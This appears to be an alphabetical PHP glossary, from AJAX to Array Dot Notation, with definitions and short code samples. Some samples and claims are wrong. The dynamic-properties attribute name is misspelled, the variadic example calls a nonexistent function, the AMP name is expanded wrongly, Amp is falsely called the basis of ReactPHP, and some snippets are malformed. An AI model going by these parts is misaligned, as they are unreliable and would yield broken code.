- Slop Scan
- I am becoming a Markdown Developer
- Turn Claude Code into a Laravel expert with LaraClaude
Related
- Large Language Model (LLM)
- Neural Network
- Retrieval Augmented Generation (RAG)
- Vector Database
- Machine Learning
- Model Context Protocol (MCP)
- PHP AI Editor
Related packages
AJAX
AJAX, the Asynchronous JavaScript and XML feature, is a set of web development techniques that allow a web page to communicate with a server asynchronously, without requiring a full page reload. Despite the name, modern AJAX often uses JSON rather than XML for data exchange.
AJAX requests are handled like any other HTTP request by PHP. The PHP application receives the request, processes it, and returns a response, most often JSON, which the client-side JavaScript then uses to update the page dynamically.
AJAX is fundamental to single-page applications and dynamic web interfaces.
<?php
// Server-side PHP endpoint handling an AJAX request
header('Content-Type: application/json');
$data = json_decode(file_get_contents('php://input'), true);
$name = htmlspecialchars($data['name'] ?? 'World');
echo json_encode(['message' => "Hello, $name!"]);
?>
See Also
Related
- Extensible Markup Language (XML)
- JavaScript Object Notation (JSON)
- Hyper Text Transfer Protocol (HTTP)
- Javascript
- Single Page Application (SPA)
- REST API
- Real Time
Algebraic Data Type
An algebraic data type is a composite type built by combining simpler types through two fundamental operations: product and sum.
A product type holds values of several types simultaneously, connected by AND. Every field is always present. A struct, record, or tuple is a product type: { name: string, age: int } means a name AND an age, always both.
A sum type holds a value of exactly one of several alternatives, connected by OR. Only one case is active at a time, and each case may carry different data. Circle(Float) | Rectangle(Float, Float) means either a circle, with a radius, or a rectangle, with two sides, never both at once.
Full ADT systems pair sum types with exhaustive pattern matching: the compiler enforces that every case is handled, turning incomplete switches into compile-time errors.
PHP supports product types natively through classes and arrays. Sum types are approximated by union types int|string and by enums, but neither carries associated data per variant, and match does not perform exhaustive structural decomposition over union type values.
PHP does not support true ADT.
See Also
Related
- Sum Type
- Generalized Algebraic Data Type (GADT)
- Union Type
- Enumeration (enum)
- Intersection Type
- Pattern Matching
- Type System
- Generics
- Existential Type
- Higher-Kinded Type
- Option Type
- Result Type
- Structural Pattern Matching
Algorithm
An algorithm is a step-by-step procedure or set of rules designed to perform a specific task or solve a particular problem. Algorithms are the foundation of computer science and programming, as they provide a clear, logical sequence of operations to achieve a desired outcome.
See Also
- What is an Algorithm? | Definition & Examples
- What is an Algorithm? Algorithm Definition for Computer Science Beginners
Related
- Workflow
- Argon2
- Bloom Filter
- Finite State Machine (FSM)
- Heuristics
- Cryptography
- Big-o-notation
- HMAC
- Logarithm
- Swap
- Machine Learning
Algorithmic Complexity
Algorithmic complexity, also called computational complexity, refers to the study of the resources required by an algorithm to solve a problem as a function of the input size. It helps us understand how efficient an algorithm is, especially as the input size grows.
Algorithmic complexity matters for scalability, resource optimisation, performance forecast and server dimensioning.
The resources may be time, processing power, memory, disk usage or other computational resources.
Algorithmic complexity may be measured by metrics.
See Also
Related
Alias Types
An alias type, or type alias, is a short name for several types at once. Under the hood, alias types are union types.
PHP offers several native alias types, such as iterable, which represents array | Traversable. Alias types are not available for customisation.
The same rules apply to alias types as other types: for example, array | iterable produces a ‘Duplicate type array is redundant’ error.
<?php
// iterable is an alias for array|Traversable: both are accepted here
function sumValues(iterable $numbers): int {
$total = 0;
foreach ($numbers as $number) {
$total += $number;
}
return $total;
}
echo sumValues([1, 2, 3]); // 6: a plain array is iterable
function threeToFive(): Generator {
yield 3;
yield 4;
yield 5;
}
echo sumValues(threeToFive()); // 12: a Generator is Traversable, also iterable
// function sumValues(array|iterable $numbers): int {} // Fatal error: Duplicate type array is redundant
?>
See Also
Related
Alias
An alias is a distinct name for an existing named structure. It is a classic way to cope with possible naming conflict, and improve readability.
For example, there are aliases in namespaces import, to disambiguate classes, traits, interfaces, enums, functions and constants from other namespaces. There is also the class_alias() function, which allows the application-wide creation of aliases.
There are also aliases for methods, when importing them from a trait.
References are also considered an alias, as they stand for a variable with another name.
<?php
use stdClass as StandardClass;
foreach($map as $key => $value) {
print "$key => $value\n";
}
?>
See Also
Related
Allow Dynamic Properties
This is a native PHP attribute, which tells the engine that a class can dynamically create properties without declaring them.
This attribute may be added to any class. It is not necessary with stdClass.
The attributes allow any dynamic property: there is no way to restrict this to a set of names or a number without other means.
<?php
class Elephpant {
function trumpet() {
// creation of a property, without prior definition
// This yields an error
$this->trunkLength = 1;
}
}
#[AllowDynamicProperty]
class Herd {
function trumpet() {
// creation of a property, without prior definition
// This doesn't yields an error
$this->trunkLength = 1;
}
}
class Waterhole extends Stdclass {
function trumpet() {
// creation of a property, without prior definition
// This doesn't yields an error, yet no attribute
$this->trunkLength = 1;
}
}
?>
See Also
Related
Application-Layer Protocol Negotiation (ALPN)
ALPN is a TLS extension that lets a client and server agree on which application protocol to use over an encrypted connection, as part of the TLS handshake itself, rather than after the connection is already open.
During the handshake, the client sends a list of protocols it supports, such as h3 for HTTP/3, h2 for HTTP/2, or http/1.1, and the server picks one and confirms it before the connection finishes negotiating. This avoids the extra round trip that protocol detection would otherwise cost, and is how browsers and servers agree to speak HTTP/2 or HTTP/3 without first trying and falling back.
ALPN negotiation is handled by the TLS layer, via OpenSSL, underneath stream contexts or a QUIC-capable extension; it is not something userland code negotiates directly, though stream context options can be used to restrict or inspect the negotiated protocol.
See Also
Related
Alternative Syntax
PHP offers an alternative syntax for some of its control structures; namely, if, while, for, foreach, and switch. In each case, the basic form of the alternate syntax is to change the opening brace to a colon : and the closing brace to endif;, endwhile;, endfor;, endforeach;, or endswitch;, respectively.
<?php if ($a == 5): ?>
A is equal to 5
<?php endif; ?>
See Also
Related
Asynchronous Markup Protocol (AMP)
AMP refers to the AMP PHP library, formerly Amp Project, an event-driven, non-blocking I/O framework for building asynchronous applications.
It provides primitives for working with asynchronous operations: Promises, Futures, and an event loop. Amp is the foundation behind popular projects like ReactPHP and PHP-PM, and is widely used for building high-concurrency network services, WebSocket servers, and HTTP clients.
In a broader web context, AMP also stands for Accelerated Mobile Pages, a Google-backed project for creating fast-loading mobile web pages.
<?php
use Amp\Loop;
use Amp\Promise;
Loop::run(function () {
$result = yield Amp\Promise\resolve('Hello from AMP!');
echo $result;
});
?>
See Also
Related
- ReactPHP
- Async
- Asynchronous
- Event Loop
- Coroutine
- Promise
- Fibers
- Non-blocking
- Concurrency
- Microservice
- Swoole
- OpenSwoole
Related packages
Analysis
Analysis in software development refers to the systematic examination of source code, runtime behaviour, or architecture to detect issues, measure quality, or derive understanding.
Static analysis examines code without executing it. Tools such as PHPStan, Psalm, Mago and Phan inspect PHP source files for type errors, undefined variables, dead code, and security vulnerabilities. Exakat is a static analyser specifically designed for PHP, able to audit large codebases and enforce rules across many categories.
Dynamic analysis examines code during execution. It covers profiling, fuzzing, mutation testing, and runtime error detection.
Architectural analysis focuses on the relationships between components, coupling, cohesion, and adherence to intended design patterns.
<?php
// Running static analysis from PHP (e.g., as part of a CI pipeline)
$output = [];
$exitCode = 0;
exec('vendor/bin/phpstan analyse src --level=8 --no-progress', $output, $exitCode);
if ($exitCode !== 0) {
echo implode(PHP_EOL, $output);
exit($exitCode);
}
?>
See Also
Related
- Static Application Security Testing (SAST)
- Abstract Syntactic Tree (AST)
- Metrics
- Quality
- Code Review
- Continuous Integration (CI)
- Dead Code
- Type Coverage
- Code Inventory
- Static Code Analysis (SCA)
- Tool
- Lexical Analysis
- Semantic Analysis
- Control Flow Analysis
- Data Flow Analysis (DFA)
- Symbolic Analysis
- Pattern-Based Analysis
- Linting
Related packages
Anchor
An anchor, or HTML anchor, is an HTML element <a> used to create hyperlinks, allowing navigation to other pages, resources, or sections within the same page. When the href attribute references a fragment identifier, e.g. #id, the link jumps to a specific section of the current document.
Anchors are frequently generated programmatically when building HTML output, navigation menus, or documentation pages. Developers must be careful to escape user-supplied content used in anchor href attributes to prevent XSS vulnerabilities.
<?php
// Generating an anchor safely in PHP
$url = 'https://www.php.net/';
$label = 'PHP Manual';
// htmlspecialchars prevents XSS
echo '<a href="' . htmlspecialchars($url, ENT_QUOTES, 'UTF-8') . '">'
. htmlspecialchars($label, ENT_QUOTES, 'UTF-8')
. '</a>';
// Fragment / in-page anchor
echo '<a href="#section-2">Go to section 2</a>';
?>
See Also
Related
- HyperText Markup Language (HTML)
- Cross Site Scripting (XSS)
- Universal Resource Locator (URL)
- parse_url()
- http_build_query()
- HTML Escaping
- Link
- Pound #
And Operator
and is the logical operator of the same name. It returns true only when both operands are true; otherwise, it returns false.
It is a synonym for the symbolic operator &&, though it has a different precedence level.
There is also a bitwise and operator: &
and is a PHP keyword.
<?php
$a = 1 && 2;
?>
See Also
Related
Anemic Domain Model
The anemic domain model is an anti-pattern identified by Martin Fowler where domain objects contain only data, getters, setters, and no business logic. All business logic is instead placed in service classes that operate on these passive data containers.
The result is a structural inversion: the domain layer becomes a schema mirror, while service classes accumulate all the behaviour. This defeats the purpose of object-oriented design, where objects encapsulate both state and the operations that depend on that state.
The symptoms are recognisable: entities have only getters/setters, service classes are large and growing, business rules are scattered across multiple services, and the same validation or computation is duplicated in several places.
The alternative is the rich domain model, where entities enforce their own invariants, expose meaningful behaviour, and reject invalid state. This is the model advocated by Domain-Driven Design.
Anemic models often emerge from ORM-first design, where Doctrine or Eloquent entities are modelled around the database schema rather than the domain.
<?php
// Anemic: Order is a data bag; all logic in OrderService
class Order {
public int $id;
public string $status;
public float $total;
public array $items = [];
}
class OrderService {
public function ship(Order $order): void {
if ($order->status !== 'paid') { // business rule in service
throw new \LogicException('...');
}
$order->status = 'shipped'; // service mutates the entity
$this->repository->save($order);
}
}
// Rich: Order enforces its own invariants
class Order {
private string $status = 'new';
public function ship(): void {
if ($this->status !== 'paid') { // rule lives in the entity
throw new \DomainException('Order must be paid before shipping.');
}
$this->status = 'shipped';
$this->record(new OrderShipped($this->id));
}
}
?>
See Also
- Rich vs Anemic Entities in PHP with Doctrine: How to Structure Your Business Logic Right
- Martin Fowler: Anemic Domain Model
Related
- Rich Domain Model
- Domain Design Driven (DDD)
- Domain
- OOP (Object Oriented Programming)
- Layered Architecture
Annotations
PHP annotations are a system to provide meta data about code, in a way that is programmatically processable.
PHP annotations are based on PHPDoc comment’s syntax, and were later partially modernized by PHP attributes.
<?php
/**
* <description of trumpet>
* @param int $a : <description of the parameter>
* @return int : <description of the returned value>
*/
function trumpet(int $a) {
// This annotation cannot be turned into an attribute
/**
* @var int $b : <description of the variable>
*/
$b = $a + 1;
return $b;
}
?>
See Also
Related
Related packages
Anonymize
To anonymize is to replace a precise identifier with an unrelated piece of data. For example, Mr Elephpant may be renamed Mr Smith or b0d7b3834d527db3b2ccd6e4b0f3e0e6.
Anonymization removes anything that can trace back to the original user. It must also keep relationships with other data, which must also be anonymized. Some values cannot be anonymized, such as booleans.
Anonymization is distinct from fake data, which creates valid-looking data out of nothing.
See Also
Related
Related packages
Anonymous Catch
Traditionally, the catch statement requires specifying both an Exception class and an identifier variable to hold the caught exception.
PHP 8.0 introduced a new language construct that makes the identifier variable optional, allowing for a fully anonymous catch statement. This means there is no need to specify a variable to hold the caught exception.
The motivation behind this proposal is to simplify exception handling code, especially in cases where there is no need to use the caught exception object. It leads to cleaner and more concise code, especially when the specific details of the exception are not interesting and can be handled generically.
<?php
try {
$a / 0;
} catch (DivisionByZero) {
}
?>
See Also
Related
Anonymous Class
A class may be instantiated, without defining a class name. The class is identical to a named-class, except for the name attribute. This also means that it cannot be used for typing, though it may be typed itself, using its parent class or implemented interfaces.
Also, arguments may be passed at instantiation time, unlike with named-class definition, where those arguments are passed when calling new, not when defining the class.
<?php
interface Pachyderm {}
function trumpet(Pachyderm $a) {}
$a = new class () implements Pachyderm {};
trumpet($a);
?>
See Also
Related
Anonymous Constant
A constant may be anonymous. In that case, it is reduced to its value, and it is a literal.
There is no explicit code for an anonymous constant: it is the simple application of the concept to an existing structure.
<?php
// a constant
const A = 'abc';
// an anonymous constant
'def';
?>
See Also
- Difference Between Constant and Literals - GeeksforGeeks
- Constant vs Literal - Difference and Comparison
Related
Anonymous Function
A function may be instantiated, without defining a function name. Such functions are called anonymous.
Anonymous functions are defined as closures or arrow functions. They may also be created based on existing methods and functions, with the ... operator.
Even without names, they are usable like functions, or as callable.
Methods cannot be anonymous, but it is possible to call a method without mentioning its name by using the __invoke magic method.
<?php
$closure = function () {} ;
$arrowFunction = fn() => 1;
$fcs = strlen(...);
?>
See Also
Related
- First Class Callable
- Closure
- Anonymous
- Arrow Functions
- __invoke() Method
- Custom Function
- Functions
- Lexical Variable
Anonymous
An anonymous structure is a structure that usually has a name, but may also go without it. When the structure is anonymous, some features are not available, such as creating or calling a new instance by using its name. Such operations must now handled by creating the asset, and handing it across the code base.
There a several structures which have an anonymous version:
- Functions: there are two types: closures and arrow functions
- Method: the magic method
__invoke() - Classes
- Constants: basically, it is a literal value
- Catch: in this case, the exception is caught, but it is not provided in a related variable
Some structures are always named: variables, properties, traits, interfaces, enums.
Anonymous structures should not be confused with dynamic structures: these structures are defined with a name which is stored in a variable, or a similar data container. In fact, dynamic structures often rely on a name to be usable. This is the case of variables, with $$variable.
<?php
$closure = function () {} ;
$arrowFunction = fn() => 1;
'literal value';
// an object of an anonymous class
new class() {};
try {}
catch(Exception ) {}
?>
See Also
Related
- Anonymous Function
- Anonymous Class
- Anonymous Catch
- Dynamic Call
- __invoke() Method
- Anonymous Constant
- Name Conventions
- Name
- Structure
Anti-Pattern
An anti-pattern, sometimes spelled antipattern, is a common but counterproductive solution to a recurring problem. Unlike a mistake made once, an anti-pattern is a response that appears reasonable or even familiar, is applied repeatedly, and systematically produces negative consequences: increased complexity, fragility, poor performance, or security vulnerabilities.
The term was coined in 1995 by Andrew Koenig and popularised by the 1998 book Anti-Patterns by Brown, Malveau, McCormick, and Mowbray. It draws an explicit parallel with design patterns: where a design pattern documents a proven good solution, an anti-pattern documents a proven bad one, together with the root cause, the symptoms that reveal it, and the refactored solution that replaces it.
Anti-patterns appear at every level of software development:
- Architectural anti-patterns: big ball of mud, god object, spaghetti code
- Design anti-patterns: singleton overuse, service Locator, magic container
- Coding anti-patterns: copy-paste programming, premature optimisation, magic numbers
- PHP-specific anti-patterns: suppressing errors with
@, usingeval()for configuration,register_globals-era dynamic variable injection
Recognising anti-patterns is a key skill in code review and static analysis. Exakat detects a wide range of PHP anti-patterns through dedicated rules.
<?php
// Anti-pattern: God Object: one class that knows and does everything
class Application {
public function connectDatabase() { /* ... */ }
public function renderHtml() { /* ... */ }
public function sendEmail() { /* ... */ }
public function validateInput() { /* ... */ }
public function logError() { /* ... */ }
// ... dozens more methods
}
// Anti-pattern: error suppression hiding real problems
$result = @file_get_contents('data.json'); // silences warnings instead of handling them
// Anti-pattern: magic numbers with no explanation
if ($status === 3) { // What does 3 mean?
redirect();
}
?>
See Also
Related
ANTLR4
ANTLR, ANother Tool for Language Recognition, currently at its 4th major version, is a parser generator: given a formal grammar describing a language’s syntax, it generates a lexer and a parser for that language, in a target language of choice, such as Java, C#, Python, Go or JavaScript. There is no first-class PHP target, though community-maintained backends exist.
ANTLR4 grammars are LL(*)-based and produce a parse tree, which can then be walked with a generated Listener or Visitor. It is widely used to build DSLs, configuration-file parsers, and new implementations of existing languages, including some PHP parsers used by third-party tooling.
Most PHP static analyzers do not rely on ANTLR: they use PHP’s own tokenizer, then build their own AST directly, tailored to the needs of static analysis, rather than going through a generic, grammar-driven parser.
See Also
Related
Ahead Of Time
Ahead-of-time compilation, AOT, is the process of compiling source code to machine code before execution, as opposed to at runtime. The compilation happens once during the build phase; the produced binary runs directly without a separate compilation step at startup.
AOT stands in contrast to Just-in-Time compilation, where compilation happens during execution, and to interpretation, where source is executed line by line. AOT trades compilation time for faster startup and more predictable runtime performance.
True PHP AOT to native machine code is not part of the standard runtime. However, several mechanisms approximate AOT behaviour:
OPcachepreloading: preloads and compiles PHP files into shared memory at server start, so they are not parsed or compiled on each request.NativePHP: compiles a PHP application into a standalone desktop binary, bundling the PHP runtime.- Static analysis tools perform
AOT-style type checking without executing code. - Compiler extensions: compile PHP or PHP-like code to C extensions ahead of time.
The primary PHP performance story is OPcache + JIT, not strict AOT.
<?php
// OPcache preloading — the closest PHP has to AOT for web apps
// preload.php: loaded once at PHP-FPM start, shared across all workers
// Preload all framework and application classes
$files = glob(__DIR__ . '/src//*.php');
foreach ($files as $file) {
opcache_compile_file($file); // compile to bytecode once, cache in shared memory
}
// php.ini / php-fpm.conf:
// opcache.enable=1
// opcache.preload=/var/www/preload.php
// opcache.preload_user=www-data
// At request time: preloaded files are served from opcache with zero parse/compile cost.
// JIT (PHP 8.0+) — runtime, not AOT, but often confused with it
// opcache.jit=tracing
// opcache.jit_buffer_size=100M
?>
See Also
Related
APCu
APCu, APC User Cache, is a PHP extension that provides a shared-memory, in-process key-value store for caching arbitrary data between requests, without needing an external service like Memcached or Redis.
APCu is the successor of APC, Alternative PHP Cache, once its opcode-caching part was superseded by OPcache; only the user-cache API survived under the name APCu.
Common functions include:
apcu_store()to write a value, with an optional TTL, time-to-liveapcu_fetch()to read a value backapcu_delete()to remove an entryapcu_exists()to check for a key without fetching its valueapcu_inc()/apcu_dec()for atomic countersapcu_clear_cache()to flush the whole cache
Because the cache lives in shared memory local to the PHP process pool, it is fast, but it is not shared across servers; in a multi-server, load-balanced setup, a distributed cache such as Redis or Memcached is usually preferred.
<?php
if (apcu_exists('user_count')) {
$count = apcu_fetch('user_count');
} else {
$count = count_users_from_database();
apcu_store('user_count', $count, 300); // cache for 5 minutes
}
apcu_inc('page_views');
?>
See Also
Related
API Gateway
An API gateway is a server that acts as the single entry point for all client requests to a backend system. It sits in front of a set of services and is responsible for routing requests to the appropriate service, as well as handling cross-cutting concerns that would otherwise be duplicated across services.
Typical API gateway responsibilities: request routing, which are path-based or host-based to microservices, authentication and authorisation, based on JWT validation or API key checking, rate limiting and throttling, SSL termination, request/response transformation, logging and metrics collection, and caching.
By centralising these concerns at the gateway, individual services are freed from implementing them independently. A client makes a single call to the gateway; the gateway fans out to one or more services internally.
Common API gateways: AWS API Gateway, Kong, Traefik, NGINX with Lua, and Caddy. In microservices deployments, the gateway typically sits in front of a Kubernetes ingress and routes traffic to PHP-FPM pods.
<?php
// PHP does not typically implement an API gateway itself —
// gateways are infrastructure components (Kong, Traefik, AWS API Gateway).
// PHP services sit behind the gateway and receive pre-authenticated, pre-validated requests.
// Kong plugin (Lua) enforcing JWT auth before the request reaches PHP:
// config:
// plugins:
// - name: jwt
// config:
// secret_is_base64: false
// In PHP: trust that the gateway has validated the token
// The user identity is forwarded via a header set by the gateway
$userId = (int) $_SERVER['HTTP_X_USER_ID']; // set by the gateway, not the client
// AWS API Gateway: Lambda proxy integration
// The gateway invokes a PHP Lambda function per route
// Route: GET /orders/{id} -> order-service Lambda
// BFF (Backend for Frontend): PHP as a gateway
// PHP aggregates calls to multiple microservices and returns a tailored response
$user = $userClient->get('/users/' . $userId);
$orders = $orderClient->get('/orders?user=' . $userId);
$returns = $returnClient->get('/returns?user=' . $userId);
return [
'user' => $user,
'orders' => $orders,
'returns' => $returns,
];
?>
See Also
Related
- Microservice
- Service Discovery
- Rate Limiting
- Authentication
- Middleware Pattern
- REST API
- Service-Oriented Architecture (SOA)
Application Programming Interface (API)
An API is a set of functions and procedures allowing the creation of applications that access the features or data of another service.
There are several API protocols: REST, RPC, gRPC, GraphQL, SOAP, etc.
They are sometimes supported directly by PHP, with extensions, or via components. There is usually a client version, used to connect to a remote API, and a server version, to host a service based on this protocol.
<?php
// Consuming a REST API with cURL
$ch = curl_init('https://api.example.com/users/1');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Authorization: Bearer your-api-token',
'Accept: application/json',
]);
$response = curl_exec($ch);
$statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($statusCode === 200) {
$data = json_decode($response, true);
echo $data['name'];
}
?>
See Also
Related
- REST API
- GraphQL
- Simple Object Access Protocol (SOAP)
- Remote Procedure Call (RPC)
- gRPC (Google Remote Procedure Call)
- Library
- Swagger
- Web Real-Time Communication (WebRTC)
- Wrapper Pattern
- Application
- Headless
- Model Context Protocol (MCP)
- OAuth
- Progressive Web App
- Search Engine
- Bearer Token
- Open Data
- Service Mesh
- Third-Party API
Related packages
Application Performance Management (APM)
APM stands for Application Performance Management. An APM monitors various performance metrics, such as CPU, memory usage, and logs.
It helps find bottlenecks in the code.
See Also
Related
Related packages
Application Server
An application server is a software environment that handles the execution of PHP scripts, serving dynamic content and managing interactions between the web server, the backend systems, like databases, and the client, browser or API consumer.
While PHP itself runs as an interpreted scripting language, the application server facilitates tasks like processing requests, managing resources, and sometimes handling session state or authentication.
See Also
Related
Appeasement Pattern
The appeasement pattern is a code smell where validation, error checking, or security controls are weakened or bypassed to satisfy code quality tools, a demanding caller or to silence errors, instead of fixing the underlying issue.
Common PHP manifestations include: using the @ error suppression operator to hide failures, loosening type checks to accept any input, adding special-case exceptions to a validator for a specific caller, or gradually degrading a strict check into a permissive one to avoid breakage.
The appeasement pattern also happens with static analysis: the tool may not support a particular syntax, lack helpful context or the code may simply be ambiguous. The appeasement pattern leads to more verbose or convoluted code, so as to allow extra configuration.
The appeasement pattern leads to fragile code where hidden failures accumulate silently, security assumptions erode, and bugs become much harder to diagnose. The correct approach is to fix the root cause rather than appease the symptom.
<?php
// Appeasement: silencing an error instead of fixing it
$result = @file_get_contents($untrustedPath); // failure is hidden
// Appeasement: loosening a type check to stop a caller from failing
function process(mixed $value): void {
// was: if (!is_int($value)) { throw new \InvalidArgumentException(); }
// now silently coerces because one caller passes strings
$value = (int) $value;
}
// SCA Appeasement:
// $url has already been checked for being a valid URL so this will always works
/** @var array{0: string, 1: string} $r */
preg_match(#(http)s?://#, $url, $r);
echo $r[0];
?>
See Also
Related
Array Append
Append, or array append, is an array operation, which adds an element at the end of the array. It is also called a push.
There are two operators for this feature ; the [] operator, which has to be placed after a variable or member. There is also the array_push() function, which is available as a callback, unlike the operator.
The opposite operation is a pop, with the function array_pop(). array_unshift() is the append at the beginning of the array.
<?php
$array = [1, 2, 3];
$array[] = 4;
$array []= 5; // Same as above, with a notation similar to a short assignation
array_push($array, 6);
// $array === [1, 2, 3, 4, 5, 6];
?>
See Also
Related
Application
An application is a software program designed to perform specific tasks for end users. PHP applications can take many forms: web applications served over HTTP, command-line tools, background daemons, REST APIs, batch-processing scripts, etc.
PHP applications are typically structured around a framework or architecture pattern, like MVC, ADR, hexagonal architecture, etc. and a dependency-injection container. The entry point is usually a single index.php for web apps, or a CLI script invoked via the shell.
PHP applications excel at connecting to various sources of information, to collect, process and store data.
<?php
declare(strict_types=1);
// Bootstrap the application
require __DIR__ . '/vendor/autoload.php';
// Route incoming HTTP request
$uri = parse_url($_SERVER['REQUEST_URI'] ?? '/', PHP_URL_PATH);
$method = $_SERVER['REQUEST_METHOD'] ?? 'GET';
$router = new Router();
$router->get('/', [HomeController::class, 'index']);
$router->get('/about', [AboutController::class, 'index']);
$response = $router->dispatch($method, $uri);
$response->send();
?>
See Also
Related
- Terminal User Interface (TUI)
- Command Line Interface (CLI)
- Desktop Application
- Mobile Application
- Web Application
- Model - View - Controller (MVC)
- Architectural Decision Record (ADR)
- REST API
- Application Programming Interface (API)
- GraphQL
- gRPC (Google Remote Procedure Call)
- Software-as-a-Service (SAAS)
- PaaS
- IaaS
- Microservice
- Monolith
- Single Page Application (SPA)
- Content Management System (CMS)
- NativePHP
- Hexagonal Architecture
- Clean Architecture
Arbitrary Number Of Argument
PHP allows any number of arguments to be passed to a function call. In the function definition, receiving those arguments means managing an arbitrary number of parameters.
This is achieved with the variadic operator, or with functions such as func_get_args().
They are also called variable argument lists.
When the arguments are dynamic, aka they are collected at execution time, the variadic operator or the function call_user_func_array() turns an array to arguments.
<?php
function trumpet(...$args) {
print "This function is called with ".count($args)." arguments\n";
print "This function is called with ".func_get_count()." arguments\n";
print "This function is called with ".count($func_get_args())." arguments\n";
}
$array = range(0, rand(5, 10)); // generates an array with 1 to 11 elements
trumpet(...$array);
call_user_func_array('trumpet', $array);
?>
See Also
Related
Arcane
Arcane refers to weird and obscure features, that are unknown, unused or forgotten. Sometimes, all at the same time. They have been with the language for a long time, and they eventually drop from the feature list.
- It is possible to use
++on a string containing variables. In that case, trailing letters are augmented by one. strpos()used to accept an integer as second argument: it would convert it automatically to its ASCII equivalentrange()used to produce all the values between the interval boundaries, even when the boundaries where one string and one integer- Logical operators works on strings, and then, produce strings.
<?php
$a = 'b';
echo ++$a; // c
// 98 is b
print strpos('abc', 99); // 1
// This was removed in PHP 8.0
var_dump(a & 'A' ); // 'A'
var_dump(a & 'B' ); // '@'
?>
See Also
Related
Architecture
Architecture refers to the global design of code, or its servers.
Architecture evolves into urbanisation: this happens when several applications have to be coordinated.
Related
- Code Architecture
- Server Architecture
- Business Logic
- Clean Architecture
- Scaling
- Shard
- Headless
- Horizontal Scaling
- Serverless
- Tech Silo
- Urbanisation
- Vertical Scaling
Archive
An archive is a single document that stores a collection of files and directories.
There is PHAR, PHP Archives, which contains PHP code, and any other kind of file, and can be executed directly.
There are also other archive formats, such as TAR, for files or JAR, for Java applications, etc.
An archive is often an artefact of compression, using Zip, Rar or Tar.
See Also
Related
Argon2
Argon2 is a modern, secure, and highly efficient password hashing algorithm. It was the winner of the Password Hashing Competition, PHC, in 2015 and is designed to resist brute-force attacks, including GPU-based attacks. PHP has built-in support for Argon2 starting from version 7.2.
<?php
$password = "PHP is alive and kicking!";
// Hash the password with Argon2id
print password_hash($password, PASSWORD_ARGON2ID);
?>
See Also
Related
Related packages
Argument
Arguments are values passed to a function or method, at execution time. The argument is the execution time value, and the recipient of that value is the parameter, which is located in the signature of the method. They may be a variable or an expression.
<?php
function trumpet($parameter) {}
$argument = 1;
trumpet($argument + 2);
?>
See Also
Related
ArgumentCountError
ArgumentCountError is thrown when too few arguments are passed to a user-defined or PHP native function or method. This is an error, not an exception.
No exception is raised for extra parameters, as those may still be processed by the method itself.
<?php
function trumpet($a) {}
// No error is raised here
trumpet(1,2);
// ArgumentCountError is catchable
try {
trumpet();
} catch (ArgumentCountError) {
print 'No enough parameters passed.';
}
?>
See Also
Related
ArithmeticError Error
ArithmeticError is thrown when an error occurs while performing mathematical operations. These errors include attempting to perform a bitshift by a negative amount, and any call to intdiv() that would result in a value outside the possible bounds of an integer.
Currently, a bitshift is the main source for arithmetic exceptions. The other is division by zero, which is a child class.
DivisionByZeroError is an ArithmeticError.
When ArithmeticError are not raised, PHP may return a NaN value, and INF value, or also 0.
<?php
// ArithmeticError is catchable
try {
8 >> -1;
} catch (ArithmeticError) {
print 'Cannot do a negative shift';
}
try {
10 / 0;
} catch (DivisionByZeroError) { // or DivisionByZeroError
print 'Cannot divide by 0';
}
print sqrt(-10); // NaN
print log(0); // -INF
?>
See Also
Related
Arity
Arity is the number of arguments, or operands, that a function, method, or operator accepts. A unary operator such as ! has arity 1, a binary operator such as + has arity 2, and a function’s arity is the count of its declared parameters. A function whose arity is fixed always expects exactly that many arguments; a function of variable arity, called variadic, accepts any number of arguments from a given point onward.
Arity matters for overload resolution in languages that dispatch on parameter count, for currying, where a function is considered fully applied only once it has received as many arguments as its arity, and for reflection, where a caller may need to discover how many arguments a callable expects before invoking it dynamically.
PHP supports both fixed and variable arity directly. A function’s fixed arity is simply its parameter list; variable arity is declared with the ... splat operator on the last parameter, and the actual number of arguments received by any call, fixed or variadic, can be inspected at runtime with func_num_args(), or discovered ahead of a call through ReflectionFunction::getNumberOfParameters().
<?php
function sum(int ...$numbers): int {
return array_sum($numbers);
}
sum(1, 2, 3); // called with arity 3, though sum() itself is variadic
function greet(string $name) {
echo func_num_args(); // 1: this call's actual arity
}
?>
See Also
Related
Arm
An arm is a branch in a match() expression. There is the default arm, and the other arms. The arm includes the case, on the left, and the payload, on the right.
<?php
// a match with 2 arm, including the default
$a = match($b) {
1 => 2,
default => 3,
};
?>
See Also
Related
Callable Arrays
An callable array is an array with index 0 and 1. The first index is a string, that represents a valid class, or an object. The second argument is a string, which is a method name.
With such a configuration, it is possible to use that array as a callback: either with a static method call, or a normal method call.
<?php
class Elephpant {
static function stampede() { echo __METHOD__;}
function trumpet() { echo __METHOD__;}
}
$callable1 = [new Elephpant, 'trumpet'];
$callable1(); // Elephpant::trumpet
$callable2 = ['Elephpant', 'stampede'];
$callable2(); // Elephpant::stampede
$callable3 = [Elephpant::class, 'stampede'];
$callable3(); // Elephpant::stampede
?>
See Also
Related
Array Callback
An array callback is an array of two elements, which may be used as a callback function.
The array must have only two elements: the first one is a class name or an object, and the second one is a method name. Then, the method on the class or object is called, when used with the class functioncall syntax.
The array should not use any string keys. It should only use index 1 and 0, although they may be in wrong order.
<?php
class Elephpant {
function trumpet() { echo __METHOD__; }
static function stampede() { echo __METHOD__; }
}
$method = [new Elephpant, 'trumpet'];
$method(); // Elephpant::trumpet
$method = [1 => 'trumpet', 0 => new Elephpant]; // 1 and 0 keys, but wrong order
$method(); // Elephpant::trumpet
$staticMethod = [Elephpant::class, 'stampede'];
$staticMethod(); // Elephpant::stampede
$staticMethod2 = ['\Elephpant', 'stampede'];
$staticMethod2(); // Elephpant::stampede
?>
See Also
Related
Array With Curly Braces
Curly braces used to be a feature, used to access specific index in an array or in a string. They acted like the square braces.
This features was deprecated in version 8.0.
<?php
$array = ['a', 'b', 'c', 'd'];
echo $array{2}; // c
$string = 'abcd';
echo $string{2}; // c
?>
See Also
Related
Array Dot Notation
Array dot notation is a convention for addressing a value nested inside a multi-dimensional array using a single string of keys separated by dots, such as 'a.b.c', instead of chaining several square-bracket accesses.
PHP has no native support for dot notation: writing $array['a.b.c'] only looks for a single key literally named a.b.c. To resolve the path and read or write the nested value, the string must be split on the dots and each segment used to walk down the array, either with a hand-written loop or with a helper function or package.
